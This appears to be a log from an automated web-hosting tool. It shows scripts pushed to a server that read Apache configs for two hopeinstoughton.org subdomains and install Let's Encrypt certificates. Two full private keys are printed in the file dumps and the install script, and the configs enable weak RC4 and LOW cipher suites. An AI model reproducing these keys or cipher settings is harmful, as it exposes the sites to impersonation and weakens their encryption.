        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-11-03 06:00:40: 

chmod 755 /tmp/pkp549804; /tmp/pkp549804; rm /tmp/pkp549804

2025-11-03 06:00:40: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf	1490
<VirtualHost *:80>
    ServerName	hymns.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_hymns
    <Directory /var/www/hopeinstoughton_hymns>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/hymns_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/hymns_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.py
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	hymns.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4
    DocumentRoot	/var/www/hopeinstoughton_hymns
    <Directory /var/www/hopeinstoughton_hymns>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/hymns_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/hymns_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py
</VirtualHost>







2025-11-03 06:00:40: 

PUT: /tmp/pkp870582

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-11-03 06:00:40: 

chmod 755 /tmp/pkp870582; /tmp/pkp870582; rm /tmp/pkp870582

2025-11-03 06:00:41: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4	5374
69:47:48:65:94:36:9b:5a:36:f2:ea:91:d8:36:c9:9a

-----BEGIN CERTIFICATE-----
MIIFDzCCA/egAwIBAgISBrVNrZU/kxnm0mnDfOsbB7GKMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMTAzMDUwMjAyWhcNMjYwMjAxMDUwMjAxWjAkMSIwIAYDVQQD
ExloeW1ucy5ob3BlaW5zdG91Z2h0b24ub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOC
AQ8AMIIBCgKCAQEAw0IjFZufblJPAgDOnQ23li8zXC0E8yZCPGvLnNvlFgdQazby
3HdvZQUZ1Hib5a/paJhTzEJ2o3YCkcE9TghZ6Oy1p/3s9qIyrV161vYL9xjfZonH
IOpTpdh0RfrzwLAee9w8yb6Tl7NuXYSfoSKYlN/kLSqIv0ZowgaWmQdAbMhXsC40
sQ00/kH2EJ1tYr8WpqH4S+Xp2hp4+ha4y6mYs/JfxsZSyTFyNBbS3Uz97/ArD27l
VCcUf3kJ+zIh/0CTHNY3mypyPoSR25/ic0IMk/DakrgdYCkmuw4j9K8lX0yZeDRz
tEa6x5w7E1aKBNU9y8dBdX1h+KkEL/d2OvYX1wIDAQABo4ICKjCCAiYwDgYDVR0P
AQH/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMB
Af8EAjAAMB0GA1UdDgQWBBQcAnxGz0TyLMy6MpZKCgo7qMcGbTAfBgNVHSMEGDAW
gBQAtSnyLY5vMeibTK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUH
MAKGF2h0dHA6Ly9yMTIuaS5sZW5jci5vcmcvMCQGA1UdEQQdMBuCGWh5bW5zLmhv
cGVpbnN0b3VnaHRvbi5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcw
JTAjoCGgH4YdaHR0cDovL3IxMi5jLmxlbmNyLm9yZy8xMS5jcmwwggEFBgorBgEE
AdZ5AgQCBIH2BIHzAPEAdgDLOPcViXyEoURfW8Hd+8lu8ppZzUcKaQWFsMsUwxRY
5wAAAZpITYtJAAAEAwBHMEUCIEoY+WIT5+z11s8FpWzLv3lw4UhFgEhd4ORcDQWy
ufPKAiEA89h4McCrDb2ov1+qywUpTe7Lbs6kO7S78ewFLNsN9poAdwCWl2S/VViX
rfdDh2g3CEJ36fA61fak8zZuRqQ/D8qpxgAAAZpITYtyAAAEAwBIMEYCIQDmhSGP
0t/1nXIh42niEn6AKtTn8VaBvK9UwoQsHTzTzQIhAIseT6LFdsBWZUOzrYssKCmJ
pVutga5lOzpf/U5WrHIYMA0GCSqGSIb3DQEBCwUAA4IBAQADMP5gd+YDPzzyd9Dd
1QwbyztURrmcy1aYvh001Lij06up7I04xXvMq9Ya3tzPbzZS4RXX8eL4bqeujR1e
5X5lrwEYj9Kthq7rjAn81KBUeBHCA2zVk8R2MoMSFxVVcYtYowm4vfsD4/OrdfHQ
lZfqYRxxqKOn86JYSE6hBtkhj6D5IxmboT9vIktAVPQuPjS/0McqK3cBPqRyjeb2
p4iLDtLDXo4KduhryN2XevogHqKSHjw0DiQJxnc0t+GKnnpszglw7bNqo8HQr6Ft
aaM6MQZlAfUSEWEZv+CFskKZFbNRvWW4U/x5Z/TruLWgxRGtqleacKVID31k9BxL
yvgB
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDDQiMVm59uUk8C
AM6dDbeWLzNcLQTzJkI8a8uc2+UWB1BrNvLcd29lBRnUeJvlr+lomFPMQnajdgKR
wT1OCFno7LWn/ez2ojKtXXrW9gv3GN9miccg6lOl2HRF+vPAsB573DzJvpOXs25d
hJ+hIpiU3+QtKoi/RmjCBpaZB0BsyFewLjSxDTT+QfYQnW1ivxamofhL5enaGnj6
FrjLqZiz8l/GxlLJMXI0FtLdTP3v8CsPbuVUJxR/eQn7MiH/QJMc1jebKnI+hJHb
n+JzQgyT8NqSuB1gKSa7DiP0ryVfTJl4NHO0RrrHnDsTVooE1T3Lx0F1fWH4qQQv
93Y69hfXAgMBAAECggEBAK20pb+wXcpogQ84JpdDv8JlJVzoVBH4RE66Wz6lxYyu
XxWyoaYOvtPxEMSbs51HvO8nLM13h1HuR2Ths6c6+Lml9AmKdggHzeu7UO/xnj1q
LDxtb/BRZq8Q/IfRNI6EX+oyyQV1fJolr5aUyOox++ndsIGZ6GO5wLJz6AAlmmPq
3Uv8vRRsU0GSiEi3wUHXcv9CjLgUvPMpYbNOrXo9ipeCc9Xx8yN7RTit/5jI/5xo
SrMkdSvOqg4gqJBBVPqhnVbrvRhVMjctNnMJX1ihHfZoF1dJOpsFjl1cQSzI1b9r
U48FxnAQWCWeblQUmv1bU0Z7kNYS3y2WIBmQEtwWbxkCgYEA5weB3va3LYZIoojR
n/UgGClk6ezEF0X7nNzgxw9PU7WzbTly+9sYiTBJ0MqiHH4pjnoB5q8HXAjG+4r6
+67/xLVCg+dFjSgPEmj1SoB3KPf9fAzSoD93Y4cBp6ut0f+DHguNNavqJMQ4SAw3
Bhsa3uigzp/p+7p2o43gj0+ajeUCgYEA2FzcS78rKaSjfXdmheqHbLkPvhvAoGDe
eRIqgu2ya8k/ggsevbxTPnhKCnXc8qRCBmJCKRlZve5h+RPENZAmkQ/fqebqIXk4
eJM78BzEXtcyO/ThrrDJ0Xy0tt9HGlF7Nxnn+qNdOwNQMNKNO9C5oDX9HtWcuFY1
g5BT458CEwsCgYEA2AFJ6Qitre/em7DmpfMPJegWBS0tDkGNhlVyCEwFNFQvxZCw
NFDeeO5gJco/lfpTqnXirye47tD6EpgYIBe35dg/r4odmmP465KcvSKtxu1O4Jww
lkmgu7qvznAS3cRTeFT+m074ZZXctWhOTfQrxHymVWpo38awRC1T50pbTA0CgYB0
JV1I+EWGZFAzcR5DM0QhlDKkPieosHedDKhvgoQuImmKOMf22JrjRRWSCfVi99RN
sv+LKoWnVMmZOQgyLMDXTGsnvMLg1z7+UyNw4TB1LRZVYz6nVVXxs/0a0j9MHIOF
b829GWdZ34xzuQOCIakUHQdVPxyTRAwUJS0zWs91QwKBgHZ6iAfzXc+Inz5Z4/JR
YdVMp52helXJoCxvVBDp4J5DuoMXQzeEA2AV7o49NDiSiyE/xdxTFRXQKg18xvvQ
9gBQ2myqOywFyJlcclKOTmOaQMAoBYvwzw54wHqKvmx3y4btIM06AqG9RT8hi0BU
u6V8yMvKzkrEN65mlZJiTrMU
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2025-11-03 06:00:41: Establishing a connection
2025-11-03 06:00:42: Establishing a connection
2025-11-03 06:00:43: 

PUT: /tmp/pkp808032

#!/bin/bash
if [ -d "/var/www/hopeinstoughton_mixer/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-11-03 06:00:44: 

chmod 755 /tmp/pkp808032; /tmp/pkp808032; rm /tmp/pkp808032

2025-11-03 06:00:44: 


0


2025-11-03 06:01:08: Establishing a connection
2025-11-03 06:01:09: 

PUT: /tmp/pkp459275

#!/bin/bash
temp_file=$(mktemp)
TARGET=490fd86317cc9a7ba4710967bbbfc2a7

cat > $temp_file <<'endmsg'
8a:dc:40:15:0b:97:ea:a8:de:89:ed:1e:b6:9d:e2:fa

-----BEGIN CERTIFICATE-----
MIIFEDCCA/igAwIBAgISBtwwFXN1JRqwHZENRPtBH5XtMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMTAzMDUwMjM4WhcNMjYwMjAxMDUwMjM3WjAkMSIwIAYDVQQD
ExltaXhlci5ob3BlaW5zdG91Z2h0b24ub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOC
AQ8AMIIBCgKCAQEA2A+2DCL0kDq6q8+mJ31W2Rsf5acj6NImovE+G7/qNkiiE2H1
A7N2N+XMfUewQihRJmcAwEQseBG5BFzWw9PmHt8w3vBlOeD072228sTl9MJEcxan
NSJ4nnzqMu/o3HR6Ej744E2ri42LeVdO79SU8o3+G2/rDRE9hh9lJzuTteWH+ZlQ
HfJhCRO4jmpteDvFalYY13dmsHAMzs+Xc+e6fUMD2T62x68u9Pnd7pSWQnpbJJli
DtPBwYRdmjv4mjxbU1fF3UM9Qa5hH6HahaEOPkuiYuiJx0YLDZKMFntVvKAYnWKA
wqy1NJdZpVZbD3QH6gsmm+Nk3SBHP/r2G8dQnQIDAQABo4ICKzCCAicwDgYDVR0P
AQH/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMB
Af8EAjAAMB0GA1UdDgQWBBSjBeqclzpSUXGMCjh9nDCQo5T64TAfBgNVHSMEGDAW
gBQAtSnyLY5vMeibTK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUH
MAKGF2h0dHA6Ly9yMTIuaS5sZW5jci5vcmcvMCQGA1UdEQQdMBuCGW1peGVyLmhv
cGVpbnN0b3VnaHRvbi5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLwYDVR0fBCgw
JjAkoCKgIIYeaHR0cDovL3IxMi5jLmxlbmNyLm9yZy8xMTAuY3JsMIIBBQYKKwYB
BAHWeQIEAgSB9gSB8wDxAHcASZybad4dfOz8Nt7Nh2SmuFuvCoeAGdFVUvvp6ynd
+MMAAAGaSE4VdQAABAMASDBGAiEAr3XI46T2m5rXRazJZlWvoGVxXeRUn+IHdWv8
GfiO1oICIQDh5IpUXwfltQr/fIPROUNvd3KZEtFjXg61SXIXuPWzdQB2ABmG1Mco
qm/+ugNveCpNAZGqzi1yMQ+uzl1wQS0lTMfUAAABmkhOFXUAAAQDAEcwRQIgdoAc
a7hfK9n7wLk1fxH1GySw8qkSXOImUg+bWStQSrICIQDVmc858EKEiZtjOSJgVi6e
YywlhRe68nU5prt7C/DzqDANBgkqhkiG9w0BAQsFAAOCAQEABEfBSYbWuSYeNKsC
ih2yR/XVmF6EsO6VOUMWuK4CCdmEsQAA+wEJpgxhw4wSRS2BPb8UOI+IUnPtJ6vR
zR+gU/QiSzTPR5eHQ0L/1tSZsTnzOTOqoL5GJWSBovQrufwVBaK9tUNY3Xj1QsFs
UgJnilGug52mJCM8bf6tIN7dsuAC8aIPA6Uu7Slx04cNMxHb/Ds4Sk53AT51OkxJ
vV/EdL4VB9O9hEugKMqx1GTkZNRka5HroXiXxtYXiGt+2U9h0idsXvEk1mUaDXCv
tPFnJ25xZCSEgI5O4JR8YWxRD3Rb4Tri9Fe+CZGv8NRTdBdiXAZUG43Z49vDuebN
KPmbRg==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDYD7YMIvSQOrqr
z6YnfVbZGx/lpyPo0iai8T4bv+o2SKITYfUDs3Y35cx9R7BCKFEmZwDARCx4EbkE
XNbD0+Ye3zDe8GU54PTvbbbyxOX0wkRzFqc1IniefOoy7+jcdHoSPvjgTauLjYt5
V07v1JTyjf4bb+sNET2GH2UnO5O15Yf5mVAd8mEJE7iOam14O8VqVhjXd2awcAzO
z5dz57p9QwPZPrbHry70+d3ulJZCelskmWIO08HBhF2aO/iaPFtTV8XdQz1BrmEf
odqFoQ4+S6Ji6InHRgsNkowWe1W8oBidYoDCrLU0l1mlVlsPdAfqCyab42TdIEc/
+vYbx1CdAgMBAAECggEAK7qCTdKFTOuV/E/6gOONQEONIR3C1swxpajNuTAOZw4s
P2AEBsu7kXSg/noT4k/mnK8cJ82kcmij2Y4wqVGpsXXankRpOF2fNRYvgNL496CZ
2fErxkVDxE/j1otXxcaNLkQwerU9kvEC2XwiLcgInU6/ry3nlK14ljykbFxSeO2s
IHqO2XWzitC7BklnN+t909FM/Jm9oHc8j8GS0IY+brhADwkj7T0HTViDImxmvgPo
67kcGHoSmw9JZZcePFx8wnZxzLAOj2djYMtLqNCxwYFuAnZMPRoTqXBInQSL6Hk+
50PTc79/AGmNVp7ry6Hxk6xf6yxwRuMhTF/A+DjuAQKBgQD/jAli8Hy3qVjJvUfQ
ozjO/N0lYW46dFQCNlgLfCj2AR4Lg1h6s00uiY0X9kq56EFneY4xLZa4NpcRaQLr
thATEqTL1+fIuL9offixvhJQHmBj2Ee74kg+3Hz33Scvb9yyZJvT6Sq2w4n4WfZN
WG6pjCfbeJId86EfFDh59v0R2QKBgQDYccGoPIDWJAxYSwctU+DiD02z4zkmK6Yi
jCaXC1V8IOrwKn0u/JYaKLn3KvEOfJpmjQzkkv3Tth+MBVzMSKL/FgWngmNEXyFA
u+9Tn8rBeqV2q0dGkmsZolcBl+DK82s/TWnTnOzJozj3D9kPDiXY2q9YRVs/ILUK
OfHIkte2ZQKBgQCXO8feTtZwVv9dvPAAUGhxTwKNecCjRW7mNEUc3uja1cRzKdM2
ImC99teSY8bLiOEUHMMC5aj58gyrWAtLdd7DetgebvMUPgnBDDQe9I6f7ao7zKZ/
UaZR1Wj7w1zKXRguVw5Fdgs6SDShzpPOKFStcG2yHAPVR/aFjxDxVTNl2QKBgEv9
fFE1lMIZ+9+Pz+BBH6YeW1h5wRm+n2BntjC3gPbIk9NoB3VUptpeTBQUFnfQlWDF
yq4BUW5f9alyRIdQRTGrqKaL55Acmg8hLEA+zK+rAKauMaL8Su/ACC3+BaUbWx7p
besmoBeW36wV+04G2JDPDlq+Vu/N6uHBQDr8GxHlAoGBALL7GseUyXwldW248Sjx
AdfFxpIDxaec/tSfZF7P8Uj+du68cTGB/xBc4jx84LIsia8716JngAMeOWFFvcGQ
yFqzrV7kLAO67yHWVgXk3lMnqqu7y6H3aOTW+0ZaEO9lLYKDLiuYZ+QszINmk4r6
yvU4uZSjDWtGnsJf/q0B/Mje
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-11-03 06:01:10: 

chmod 755 /tmp/pkp459275; /tmp/pkp459275; rm /tmp/pkp459275

2025-11-03 06:01:10: 


dir=/etc/ssl/certs


2025-11-03 06:01:10: 

PUT: /tmp/pkp175753

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-11-03 06:01:11: 

chmod 755 /tmp/pkp175753; /tmp/pkp175753; rm /tmp/pkp175753

2025-11-03 06:01:11: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf 49
<VirtualHost *:80>
    ServerName	mixer.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_mixer
    <Directory /var/www/hopeinstoughton_mixer>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/mixer_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/mixer_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.py
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	mixer.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/490fd86317cc9a7ba4710967bbbfc2a7
    DocumentRoot	/var/www/hopeinstoughton_mixer
    <Directory /var/www/hopeinstoughton_mixer>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/mixer_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/mixer_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py
    
    RewriteCond	%{DOCUMENT_ROOT}%{REQUEST_URI} !-d
    RewriteCond	%{DOCUMENT_ROOT}%{REQUEST_URI} -f
    RewriteRule	^(.*) %{REQUEST_URI} [L]
    
    # if the cookie is missing, redirect to login site, with bounce parameter
    RewriteCond	%{HTTP_COOKIE} !\bauth=\b
    RewriteRule	^(.*)$ https://cygnus.hopeinstoughton.org/~/cygnus/login-mixer$1 [R=302,QSA,L]
    
    ProxyRequests	off
    ProxyVia	on
    
    RewriteEngine	On
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/(.*) ws://192.168.1.8:80/$1 [P,L]
    
    ProxyPass	/ http://192.168.1.8/
    ProxyPassReverse	/ http://192.168.1.8/
    
</VirtualHost>






2025-11-03 06:01:11: 

PUT: /tmp/pkp484506

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hopeinstoughton_mixer_org.conf
TARGET=/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
    ServerName	mixer.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_mixer
    <Directory /var/www/hopeinstoughton_mixer>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/mixer_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/mixer_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.py
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	mixer.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
